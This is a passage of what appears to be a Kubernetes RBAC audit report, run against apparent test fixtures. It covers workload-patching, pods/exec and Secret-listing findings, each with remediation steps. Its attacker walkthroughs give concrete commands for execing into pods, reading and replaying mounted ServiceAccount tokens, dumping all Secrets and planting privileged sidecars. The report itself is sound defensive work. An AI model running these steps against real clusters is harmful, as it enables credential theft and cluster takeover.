  4. For DaemonSets specifically, restrict creation to named platform ServiceAccounts. Verify with kubectl auth can-i create daemonsets --as=gw-job-patcher -n kube-system returning no.
Evidence
ScopeNamespace
Namespacegw-workloads
API groupsbatch
Resourcesjobs
Verbsupdatepatch
update: Replace existing objects
patch: Mutate existing objects in place
Source rolegw-job-patcher
Inspect: kubectl get role gw-job-patcher -n gw-workloads -o yaml
Source bindinggw-job-patcher
Inspect: kubectl get rolebinding gw-job-patcher -n gw-workloads -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    "batch"
  ],
  "namespace": "gw-workloads",
  "resource_names": null,
  "resources": [
    "jobs"
  ],
  "scope": "namespace",
  "source_binding": "gw-job-patcher",
  "source_binding_kind": "RoleBinding",
  "source_role": "gw-job-patcher",
  "source_role_kind": "Role",
  "verbs": [
    "update",
    "patch"
  ]
}
HIGH User/gw-patcher Namespace 5.9
Namespace gw-workloads only workload-controller mutation can spawn privileged pods on User/gw-patcher
Scope · Namespace Namespace gw-workloads only
Category: Privilege Escalation Subject: User/gw-patcher Resource: RBACRule/gw-workloads/gw-patcher

Subject User/gw-patcher can create/update/patch workload controllers (deployments, daemonsets, statefulsets, jobs, cronjobs) via RoleBinding gw-workloads/gw-patcher → Role gw-workloads/gw-patcher. Namespace gw-workloads only.

Anyone who can write a workload template inherits the same implicit permissions as pods/create: choice of ServiceAccount, choice of Pod Security context, and choice of host-level features. The specific danger of controller mutation (vs. pod create) is durability and stealth: a kubectl edit deployment adding a privileged: true sidecar produces pods continuously, so restart-looping the pod returns a fresh shell every time.

DaemonSet write is the most dangerous variant because a DaemonSet runs one pod on every node, including new nodes added later. CronJobs offer time-based persistence that survives pod evictions, node reboots, and short-lived RBAC remediations. A realistic incident: an attacker with patch daemonsets in kube-system mutates kube-proxy to add a malicious sidecar inheriting the existing pod's host-mounts and ServiceAccount.

Impact Spawn (or mutate existing) pods running as any ServiceAccount in Namespace gw-workloads only. DaemonSet write specifically yields one attacker pod per node, including future nodes.
How an attacker abuses this
Background
SubjectUser

A User in Kubernetes is whoever the authenticator says they are. There is no User object in the API. Identity comes from a client certificate's CN, an OIDC sub claim, a webhook, or a static token. RBAC then targets that identity by name. If you see "User foo" in a finding, foo is whatever string the authentication layer produced.

Kubernetes docs ↗
TechniqueWorkload template rewrite

update or patch on an existing Deployment, DaemonSet, StatefulSet, or CronJob lets the writer change its pod template: the image, the command, and the ServiceAccount. The controller then rolls out pods from the new template on its own. The writer gains every ServiceAccount in that namespace, the same as create pods.

It can also give more than that. The rewritten pods keep the rest of the workload's spec, so a workload that already runs privileged or mounts the host (a CNI or log-shipper DaemonSet in kube-system, for example) hands that host access to the writer's code. A Job is not affected: its pod template cannot be changed after creation.

  1. Attacker enumerates writable controllers with kubectl auth can-i patch daemonsets --as=gw-patcher -n gw-workloads.
  2. They identify a high-value DaemonSet (e.g. kube-system/kube-proxy, kube-system/cilium, or any node-agent that already runs privileged).
  3. They kubectl patch to add a sidecar container under their control, inheriting the existing pod's host-mounts, capabilities, and ServiceAccount.
  4. The DaemonSet controller rolls the change to every node; the attacker now has a privileged shell on every node and a node-level token on each.
  5. They use the token to enumerate cluster Secrets and pivot to control-plane components. Persistence survives subject-token rotation because the malicious sidecar continues running.
Remediation
Restrict workload-controller mutation to platform/CI identities; route application changes through GitOps with PR review.
  1. Audit who has create/update/patch on deployments,daemonsets,statefulsets,jobs,cronjobs. Most application identities should not have this.
  2. Move deployment changes behind GitOps (Argo CD/Flux) so humans push to Git and the controller applies the change under its own ServiceAccount.
  3. Add a Kyverno/Gatekeeper policy that rejects pod templates with privileged, hostPID, hostNetwork, hostPath mounts, or automountServiceAccountToken: true outside an explicit allowlist.
  4. For DaemonSets specifically, restrict creation to named platform ServiceAccounts. Verify with kubectl auth can-i create daemonsets --as=gw-patcher -n kube-system returning no.
Evidence
ScopeNamespace
Namespacegw-workloads
API groupsapps
Resourcesdeployments
Verbspatch
patch: Mutate existing objects in place
Source rolegw-patcher
Inspect: kubectl get role gw-patcher -n gw-workloads -o yaml
Source bindinggw-patcher
Inspect: kubectl get rolebinding gw-patcher -n gw-workloads -o yaml
resource_names
[
  "gw-web"
]
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    "apps"
  ],
  "namespace": "gw-workloads",
  "resource_names": [
    "gw-web"
  ],
  "resources": [
    "deployments"
  ],
  "scope": "namespace",
  "source_binding": "gw-patcher",
  "source_binding_kind": "RoleBinding",
  "source_role": "gw-patcher",
  "source_role_kind": "Role",
  "verbs": [
    "patch"
  ]
}
HIGH

Cluster-wide pods/exec access enables token theft from running pods

KUBE-PRIVESC-004 3 subjects Score 10.0–5.8

Affected subjects (3)

HIGH ServiceAccount/privesc-fixtures/sa-pod-exec Cluster 10.0
Cluster-wide pods/exec access enables token theft from running pods (ServiceAccount/privesc-fixtures/sa-pod-exec)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-exec Resource: RBACRule/cr-pod-exec

Subject ServiceAccount/privesc-fixtures/sa-pod-exec can create/get the pods/exec (or pods/attach) subresource via ClusterRoleBinding crb-pod-exec → ClusterRole cr-pod-exec. Cluster-wide: applies to every current and future namespace.

Exec opens an interactive process inside an already-running container. Unlike pod creation, the attacker does not choose the ServiceAccount: they inherit whatever identity the target pod already runs as. In a shared namespace that frequently includes a pod backed by a high-privilege ServiceAccount (a controller, an operator, a CI runner), so exec becomes a credential-theft primitive: read /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container and replay it.

If the target container is itself privileged, runs as root, or mounts the host, exec is also a direct node-escape path. The permission is doubly dangerous because it leaves a thin audit trail (the exec stream is a single API call) and is commonly granted by edit-style roles that operators assume are harmless.

Impact Run commands inside any running pod in Cluster-wide, inheriting that pod's ServiceAccount token (and host access if the pod is privileged). A common path to a control-plane-adjacent SA token.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniquePod exec → container takeover

The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

  1. Attacker confirms the verb with kubectl auth can-i create pods/exec --as=sa-pod-exec -A.
  2. They enumerate running pods and their ServiceAccounts: kubectl get pods -o custom-columns=NAME:.metadata.name,SA:.spec.serviceAccountName and pick a pod with a privileged SA.
  3. They exec in: kubectl exec -it <pod> -- /bin/sh (or open the raw pods/exec WebSocket directly).
  4. They read the mounted token (cat /var/run/secrets/kubernetes.io/serviceaccount/token) and replay it against the API server as that ServiceAccount.
  5. If the container is privileged or mounts the host, they instead break out to the node and harvest the kubelet credentials.
Remediation
Remove create/get on pods/exec and pods/attach from non-operator identities; gate any legitimate debug access behind a break-glass workflow.
  1. Audit who holds exec rights: kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.resources[]? | test("pods/(exec|attach)"))'. Most application identities should have none.
  2. Remove the verbs. For interactive debugging, prefer kubectl debug gated by a JIT/break-glass role granted only for the duration of an incident.
  3. Pin sensitive workloads to dedicated, least-privilege ServiceAccounts so an exec into a co-tenant pod does not yield a powerful token.
  4. Verify with kubectl auth can-i create pods/exec --as=sa-pod-exec -A returning no.
Evidence
ScopeCluster
API groupscore/v1
Resourcespods/exec
pods/exec: Remote shell into any pod
Verbscreateget
create: Create new objects of this resource
Source rolecr-pod-exec
Inspect: kubectl get clusterrole cr-pod-exec -o yaml
Source bindingcrb-pod-exec
Inspect: kubectl get clusterrolebinding crb-pod-exec -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "pods/exec"
  ],
  "scope": "cluster",
  "source_binding": "crb-pod-exec",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-pod-exec",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "create",
    "get"
  ]
}
HIGH ServiceAccount/foothold-ops/foothold-execer Namespace 10.0
Namespace foothold-fixtures only pods/exec access enables token theft from running pods (ServiceAccount/foothold-ops/foothold-execer)
Scope · Namespace Namespace foothold-fixtures only
Category: Privilege Escalation Subject: ServiceAccount/foothold-ops/foothold-execer Resource: RBACRule/foothold-fixtures/foothold-execer

Subject ServiceAccount/foothold-ops/foothold-execer can create/get the pods/exec (or pods/attach) subresource via RoleBinding foothold-fixtures/foothold-execer → Role foothold-fixtures/foothold-execer. Namespace foothold-fixtures only.

Exec opens an interactive process inside an already-running container. Unlike pod creation, the attacker does not choose the ServiceAccount: they inherit whatever identity the target pod already runs as. In a shared namespace that frequently includes a pod backed by a high-privilege ServiceAccount (a controller, an operator, a CI runner), so exec becomes a credential-theft primitive: read /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container and replay it.

If the target container is itself privileged, runs as root, or mounts the host, exec is also a direct node-escape path. The permission is doubly dangerous because it leaves a thin audit trail (the exec stream is a single API call) and is commonly granted by edit-style roles that operators assume are harmless.

Impact Run commands inside any running pod in Namespace foothold-fixtures only, inheriting that pod's ServiceAccount token (and host access if the pod is privileged). A common path to a control-plane-adjacent SA token.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniquePod exec → container takeover

The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

  1. Attacker confirms the verb with kubectl auth can-i create pods/exec --as=foothold-execer -n foothold-fixtures.
  2. They enumerate running pods and their ServiceAccounts: kubectl get pods -o custom-columns=NAME:.metadata.name,SA:.spec.serviceAccountName and pick a pod with a privileged SA.
  3. They exec in: kubectl exec -it <pod> -- /bin/sh (or open the raw pods/exec WebSocket directly).
  4. They read the mounted token (cat /var/run/secrets/kubernetes.io/serviceaccount/token) and replay it against the API server as that ServiceAccount.
  5. If the container is privileged or mounts the host, they instead break out to the node and harvest the kubelet credentials.
Remediation
Remove create/get on pods/exec and pods/attach from non-operator identities; gate any legitimate debug access behind a break-glass workflow.
  1. Audit who holds exec rights: kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.resources[]? | test("pods/(exec|attach)"))'. Most application identities should have none.
  2. Remove the verbs. For interactive debugging, prefer kubectl debug gated by a JIT/break-glass role granted only for the duration of an incident.
  3. Pin sensitive workloads to dedicated, least-privilege ServiceAccounts so an exec into a co-tenant pod does not yield a powerful token.
  4. Verify with kubectl auth can-i create pods/exec --as=foothold-execer -n foothold-fixtures returning no.
Evidence
ScopeNamespace
Namespacefoothold-fixtures
API groupscore/v1
Resourcespods/exec
pods/exec: Remote shell into any pod
Verbscreate
create: Create new objects of this resource
Source rolefoothold-execer
Inspect: kubectl get role foothold-execer -n foothold-fixtures -o yaml
Source bindingfoothold-execer
Inspect: kubectl get rolebinding foothold-execer -n foothold-fixtures -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "foothold-fixtures",
  "resource_names": null,
  "resources": [
    "pods/exec"
  ],
  "scope": "namespace",
  "source_binding": "foothold-execer",
  "source_binding_kind": "RoleBinding",
  "source_role": "foothold-execer",
  "source_role_kind": "Role",
  "verbs": [
    "create"
  ]
}
HIGH ServiceAccount/foothold-ops/foothold-named-execer Namespace 5.8
Namespace foothold-exec only pods/exec access enables token theft from running pods (ServiceAccount/foothold-ops/foothold-named-execer)
Scope · Namespace Namespace foothold-exec only
Category: Privilege Escalation Subject: ServiceAccount/foothold-ops/foothold-named-execer Resource: RBACRule/foothold-exec/foothold-named-execer

Subject ServiceAccount/foothold-ops/foothold-named-execer can create/get the pods/exec (or pods/attach) subresource via RoleBinding foothold-exec/foothold-named-execer → Role foothold-exec/foothold-named-execer. Namespace foothold-exec only.

Exec opens an interactive process inside an already-running container. Unlike pod creation, the attacker does not choose the ServiceAccount: they inherit whatever identity the target pod already runs as. In a shared namespace that frequently includes a pod backed by a high-privilege ServiceAccount (a controller, an operator, a CI runner), so exec becomes a credential-theft primitive: read /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container and replay it.

If the target container is itself privileged, runs as root, or mounts the host, exec is also a direct node-escape path. The permission is doubly dangerous because it leaves a thin audit trail (the exec stream is a single API call) and is commonly granted by edit-style roles that operators assume are harmless.

Impact Run commands inside any running pod in Namespace foothold-exec only, inheriting that pod's ServiceAccount token (and host access if the pod is privileged). A common path to a control-plane-adjacent SA token.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniquePod exec → container takeover

The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

  1. Attacker confirms the verb with kubectl auth can-i create pods/exec --as=foothold-named-execer -n foothold-exec.
  2. They enumerate running pods and their ServiceAccounts: kubectl get pods -o custom-columns=NAME:.metadata.name,SA:.spec.serviceAccountName and pick a pod with a privileged SA.
  3. They exec in: kubectl exec -it <pod> -- /bin/sh (or open the raw pods/exec WebSocket directly).
  4. They read the mounted token (cat /var/run/secrets/kubernetes.io/serviceaccount/token) and replay it against the API server as that ServiceAccount.
  5. If the container is privileged or mounts the host, they instead break out to the node and harvest the kubelet credentials.
Remediation
Remove create/get on pods/exec and pods/attach from non-operator identities; gate any legitimate debug access behind a break-glass workflow.
  1. Audit who holds exec rights: kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.resources[]? | test("pods/(exec|attach)"))'. Most application identities should have none.
  2. Remove the verbs. For interactive debugging, prefer kubectl debug gated by a JIT/break-glass role granted only for the duration of an incident.
  3. Pin sensitive workloads to dedicated, least-privilege ServiceAccounts so an exec into a co-tenant pod does not yield a powerful token.
  4. Verify with kubectl auth can-i create pods/exec --as=foothold-named-execer -n foothold-exec returning no.
Evidence
ScopeNamespace
Namespacefoothold-exec
API groupscore/v1
Resourcespods/exec
pods/exec: Remote shell into any pod
Verbscreate
create: Create new objects of this resource
Source rolefoothold-named-execer
Inspect: kubectl get role foothold-named-execer -n foothold-exec -o yaml
Source bindingfoothold-named-execer
Inspect: kubectl get rolebinding foothold-named-execer -n foothold-exec -o yaml
resource_names
[
  "foothold-target"
]
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "foothold-exec",
  "resource_names": [
    "foothold-target"
  ],
  "resources": [
    "pods/exec"
  ],
  "scope": "namespace",
  "source_binding": "foothold-named-execer",
  "source_binding_kind": "RoleBinding",
  "source_role": "foothold-named-execer",
  "source_role_kind": "Role",
  "verbs": [
    "create"
  ]
}
HIGH

Cluster-wide list/watch access to Secrets enumerates every Secret on ServiceAccount/gw-workloads/gw-powerful

KUBE-PRIVESC-005 5 subjects Score 10.0–9.8
MITRE ATT&CK: T1552.007T1528T1078.004

Affected subjects (5)

HIGH ServiceAccount/gw-workloads/gw-powerful Cluster 10.0
Cluster-wide list/watch access to Secrets enumerates every Secret on ServiceAccount/gw-workloads/gw-powerful
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Data Exfiltration Subject: ServiceAccount/gw-workloads/gw-powerful Resource: RBACRule/gw-secret-lister

Subject ServiceAccount/gw-workloads/gw-powerful can list or watch core secrets via ClusterRoleBinding gw-powerful-secrets → ClusterRole gw-secret-lister. Cluster-wide: applies to every current and future namespace.

The Kubernetes documentation is explicit that list and watch return Secret contents in the response body (they are not metadata-only verbs). Unlike get (KUBE-PRIVESC-006), which requires knowing each Secret's name, a single list enumerates and dumps every Secret in scope at once: the holder does not need to know what exists first.

Kubernetes Secrets typically hold ServiceAccount tokens, kubeconfigs, image-pull credentials, TLS private keys, database passwords, and integration secrets for cloud APIs. Once Secret contents are exposed, the holder can authenticate as the corresponding ServiceAccount/user, which usually amplifies the original blast radius far beyond 'read access'. Cluster-wide listing includes kube-system ServiceAccount tokens, which are routinely cluster-admin-equivalent.

Impact Cluster-wide enumeration and read of every Secret (ServiceAccount tokens, TLS keys, registry credentials, integration secrets), enabling identity replay and cross-namespace lateral movement.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueSecrets read access

get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

  1. Attacker reaches ServiceAccount/gw-workloads/gw-powerful (compromised pod, leaked kubeconfig, or stolen token).
  2. They run kubectl get secrets -o yaml in scope and base64-decode every data field, harvesting all Secrets in one request.
  3. They identify Secrets of type kubernetes.io/service-account-token (legacy) or call the TokenRequest API with harvested credentials.
  4. They replay the highest-privileged token against the API server (kubectl --token=<jwt> get clusterrolebindings).
  5. They pivot to cloud APIs using extracted IRSA / Workload Identity / cloud-provider credentials, or persist by writing a backdoor into a privileged Deployment.
Remediation
Remove list/watch on secrets from this subject; if a specific Secret is genuinely needed, scope a get by resourceNames to that one name.
  1. Confirm the workload genuinely needs API-time Secret access. Most apps consume Secrets via volume/env injection at pod start and don't need RBAC read.
  2. If runtime access is required, drop list and watch entirely and scope a get rule by resourceNames to the exact Secret(s) the workload reads. Never leave it as 'all secrets'.
  3. Move the binding from cluster-wide to namespace-scoped (RoleBinding instead of ClusterRoleBinding) so the blast radius is bounded.
  4. Verify with kubectl auth can-i list secrets --as=gw-powerful -A returning no.
  5. For sensitive Secrets (TLS keys, cloud credentials), consider an external secret store (Vault, AWS/GCP Secrets Manager via CSI driver) and enable encryption-at-rest with a KMS-backed EncryptionConfiguration.
Evidence
ScopeCluster
API groupscore/v1
Resourcessecrets
secrets: Holds credentials, tokens, TLS keys
Verbslist
Source rolegw-secret-lister
Inspect: kubectl get clusterrole gw-secret-lister -o yaml
Source bindinggw-powerful-secrets
Inspect: kubectl get clusterrolebinding gw-powerful-secrets -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "secrets"
  ],
  "scope": "cluster",
  "source_binding": "gw-powerful-secrets",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "gw-secret-lister",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "list"
  ]
}
HIGH ServiceAccount/imgswap-fixtures/imgswap-reader Cluster 10.0
Cluster-wide list/watch access to Secrets enumerates every Secret on ServiceAccount/imgswap-fixtures/imgswap-reader
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Data Exfiltration Subject: ServiceAccount/imgswap-fixtures/imgswap-reader Resource: RBACRule/cr-imgswap-secret-reader

Subject ServiceAccount/imgswap-fixtures/imgswap-reader can list or watch core secrets via ClusterRoleBinding crb-imgswap-secret-reader → ClusterRole cr-imgswap-secret-reader. Cluster-wide: applies to every current and future namespace.

The Kubernetes documentation is explicit that list and watch return Secret contents in the response body (they are not metadata-only verbs). Unlike get (KUBE-PRIVESC-006), which requires knowing each Secret's name, a single list enumerates and dumps every Secret in scope at once: the holder does not need to know what exists first.

Kubernetes Secrets typically hold ServiceAccount tokens, kubeconfigs, image-pull credentials, TLS private keys, database passwords, and integration secrets for cloud APIs. Once Secret contents are exposed, the holder can authenticate as the corresponding ServiceAccount/user, which usually amplifies the original blast radius far beyond 'read access'. Cluster-wide listing includes kube-system ServiceAccount tokens, which are routinely cluster-admin-equivalent.

Impact Cluster-wide enumeration and read of every Secret (ServiceAccount tokens, TLS keys, registry credentials, integration secrets), enabling identity replay and cross-namespace lateral movement.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueSecrets read access

get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

  1. Attacker reaches ServiceAccount/imgswap-fixtures/imgswap-reader (compromised pod, leaked kubeconfig, or stolen token).
  2. They run kubectl get secrets -o yaml in scope and base64-decode every data field, harvesting all Secrets in one request.
  3. They identify Secrets of type kubernetes.io/service-account-token (legacy) or call the TokenRequest API with harvested credentials.
  4. They replay the highest-privileged token against the API server (kubectl --token=<jwt> get clusterrolebindings).
  5. They pivot to cloud APIs using extracted IRSA / Workload Identity / cloud-provider credentials, or persist by writing a backdoor into a privileged Deployment.
Remediation
Remove list/watch on secrets from this subject; if a specific Secret is genuinely needed, scope a get by resourceNames to that one name.
  1. Confirm the workload genuinely needs API-time Secret access. Most apps consume Secrets via volume/env injection at pod start and don't need RBAC read.
  2. If runtime access is required, drop list and watch entirely and scope a get rule by resourceNames to the exact Secret(s) the workload reads. Never leave it as 'all secrets'.
  3. Move the binding from cluster-wide to namespace-scoped (RoleBinding instead of ClusterRoleBinding) so the blast radius is bounded.
  4. Verify with kubectl auth can-i list secrets --as=imgswap-reader -A returning no.
  5. For sensitive Secrets (TLS keys, cloud credentials), consider an external secret store (Vault, AWS/GCP Secrets Manager via CSI driver) and enable encryption-at-rest with a KMS-backed EncryptionConfiguration.
Evidence
ScopeCluster
API groupscore/v1
Resourcessecrets
secrets: Holds credentials, tokens, TLS keys
Verbsgetlist
Source rolecr-imgswap-secret-reader
Inspect: kubectl get clusterrole cr-imgswap-secret-reader -o yaml
Source bindingcrb-imgswap-secret-reader
Inspect: kubectl get clusterrolebinding crb-imgswap-secret-reader -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "secrets"
  ],
  "scope": "cluster",
  "source_binding": "crb-imgswap-secret-reader",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-imgswap-secret-reader",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "get",
    "list"
  ]
}
HIGH ServiceAccount/vulnerable/privileged-reader Cluster 10.0
Cluster-wide list/watch access to Secrets enumerates every Secret on ServiceAccount/vulnerable/privileged-reader
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Data Exfiltration Subject: ServiceAccount/vulnerable/privileged-reader Resource: RBACRule/privileged-reader

Subject ServiceAccount/vulnerable/privileged-reader can list or watch core secrets via ClusterRoleBinding privileged-reader → ClusterRole privileged-reader. Cluster-wide: applies to every current and future namespace.

The Kubernetes documentation is explicit that list and watch return Secret contents in the response body (they are not metadata-only verbs). Unlike get (KUBE-PRIVESC-006), which requires knowing each Secret's name, a single list enumerates and dumps every Secret in scope at once: the holder does not need to know what exists first.

Kubernetes Secrets typically hold ServiceAccount tokens, kubeconfigs, image-pull credentials, TLS private keys, database passwords, and integration secrets for cloud APIs. Once Secret contents are exposed, the holder can authenticate as the corresponding ServiceAccount/user, which usually amplifies the original blast radius far beyond 'read access'. Cluster-wide listing includes kube-system ServiceAccount tokens, which are routinely cluster-admin-equivalent.

Impact Cluster-wide enumeration and read of every Secret (ServiceAccount tokens, TLS keys, registry credentials, integration secrets), enabling identity replay and cross-namespace lateral movement.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueSecrets read access

get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

  1. Attacker reaches ServiceAccount/vulnerable/privileged-reader (compromised pod, leaked kubeconfig, or stolen token).
  2. They run kubectl get secrets -o yaml in scope and base64-decode every data field, harvesting all Secrets in one request.
  3. They identify Secrets of type kubernetes.io/service-account-token (legacy) or call the TokenRequest API with harvested credentials.
  4. They replay the highest-privileged token against the API server (kubectl --token=<jwt> get clusterrolebindings).
  5. They pivot to cloud APIs using extracted IRSA / Workload Identity / cloud-provider credentials, or persist by writing a backdoor into a privileged Deployment.
Remediation
Remove list/watch on secrets from this subject; if a specific Secret is genuinely needed, scope a get by resourceNames to that one name.
  1. Confirm the workload genuinely needs API-time Secret access. Most apps consume Secrets via volume/env injection at pod start and don't need RBAC read.
  2. If runtime access is required, drop list and watch entirely and scope a get rule by resourceNames to the exact Secret(s) the workload reads. Never leave it as 'all secrets'.
  3. Move the binding from cluster-wide to namespace-scoped (RoleBinding instead of ClusterRoleBinding) so the blast radius is bounded.
  4. Verify with kubectl auth can-i list secrets --as=privileged-reader -A returning no.
  5. For sensitive Secrets (TLS keys, cloud credentials), consider an external secret store (Vault, AWS/GCP Secrets Manager via CSI driver) and enable encryption-at-rest with a KMS-backed EncryptionConfiguration.
Evidence
ScopeCluster
API groupscore/v1
Resourcessecrets
secrets: Holds credentials, tokens, TLS keys
Verbsgetlist
Source roleprivileged-reader
Inspect: kubectl get clusterrole privileged-reader -o yaml
Source bindingprivileged-reader
Inspect: kubectl get clusterrolebinding privileged-reader -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "secrets"
  ],
  "scope": "cluster",
  "source_binding": "privileged-reader",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "privileged-reader",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "get",
    "list"
  ]
}
HIGH ServiceAccount/lp-fixtures/sa-lp-wildcard Namespace 9.8
Namespace lp-fixtures only list/watch access to Secrets enumerates every Secret on ServiceAccount/lp-fixtures/sa-lp-wildcard
Scope · Namespace Namespace lp-fixtures only
Category: Data Exfiltration Subject: ServiceAccount/lp-fixtures/sa-lp-wildcard Resource: RBACRule/lp-fixtures/r-lp-wildcard

Subject ServiceAccount/lp-fixtures/sa-lp-wildcard can list or watch core secrets via RoleBinding lp-fixtures/rb-lp-wildcard → Role lp-fixtures/r-lp-wildcard. Namespace lp-fixtures only.

The Kubernetes documentation is explicit that list and watch return Secret contents in the response body (they are not metadata-only verbs). Unlike get (KUBE-PRIVESC-006), which requires knowing each Secret's name, a single list enumerates and dumps every Secret in scope at once: the holder does not need to know what exists first.

Kubernetes Secrets typically hold ServiceAccount tokens, kubeconfigs, image-pull credentials, TLS private keys, database passwords, and integration secrets for cloud APIs. Once Secret contents are exposed, the holder can authenticate as the corresponding ServiceAccount/user, which usually amplifies the original blast radius far beyond 'read access'. Cluster-wide listing includes kube-system ServiceAccount tokens, which are routinely cluster-admin-equivalent.

Impact Namespace lp-fixtures only enumeration and read of every Secret (ServiceAccount tokens, TLS keys, registry credentials, integration secrets), enabling identity replay and cross-namespace lateral movement.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueSecrets read access

get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

  1. Attacker reaches ServiceAccount/lp-fixtures/sa-lp-wildcard (compromised pod, leaked kubeconfig, or stolen token).
  2. They run kubectl get secrets -o yaml in scope and base64-decode every data field, harvesting all Secrets in one request.
  3. They identify Secrets of type kubernetes.io/service-account-token (legacy) or call the TokenRequest API with harvested credentials.
  4. They replay the highest-privileged token against the API server (kubectl --token=<jwt> get clusterrolebindings).
  5. They pivot to cloud APIs using extracted IRSA / Workload Identity / cloud-provider credentials, or persist by writing a backdoor into a privileged Deployment.
Remediation
